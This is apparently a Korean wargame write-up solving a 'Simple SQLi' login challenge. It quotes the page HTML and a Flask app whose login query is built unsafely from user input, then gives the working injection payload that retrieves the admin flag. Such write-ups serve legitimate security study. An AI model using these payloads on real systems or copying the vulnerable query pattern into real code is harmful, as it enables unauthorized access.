문제 확인
a. 워게임 사이트의 VM 실행을 통해 문제의 웹 페이지 접속
b. 단순한 로그인 페이지로 구성된 것을 확인

문제 풀이
a. 크롬 브라우저의 페이지 소스 보기를 통해 서버 코드의 파악 시도
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Simple SQLi</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="#about">About</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="/login">Login</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
<h1>Login</h1><br/>
<form method="POST">
<div class="form-group">
<label for="InputId">userlevel</label>
<input type="text" class="form-control" id="InputLevel" placeholder="userlevel" name="userlevel" required>
</div>
<button type="submit" class="btn btn-default">Login</button>
</form>
</div> <!-- /container -->
<!-- Bootstrap core JavaScript -->
<script src="/static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
</body>
브라우저의 소스코드 보기 기능으로는 서버 코드를 확인이 불가함. 서버사이드렌더링(SSR) 방식으로 파악
b. 가장 기본적인 논리적 조건을 인증 우회 시도 (했으나 실패)
'or'1'='1'--
c. 제공된 서버 코드를 통한 분석 시도
# app.py
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
print(userid, userlevel)
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
0' and userid='admin
이 입력은 다음과 같은 SQL 쿼리로 변환된다.
select * from users where userlevel='0' and userid='admin'
💡 SQL Injection 분석
‘userlevel’ 필드에 ‘0’ and userid=’admin’을 입력했기 때문에, 이 쿼리는 ‘userlevel’이 ‘0’이고 ‘userid’가 ‘admin’인 레코드를 찾으려 한다. 이를 통해 ‘admin’ 사용자의 정보를 직접 조회하려는 시도를 한 것이다.
정답 및 결론
위와 같은 방식으로 쿼리를 조작하면 ‘admin’ 사용자의 정보를 성공적으로 가져오고, 그 결과로 플래그를 획득할 수 있다.
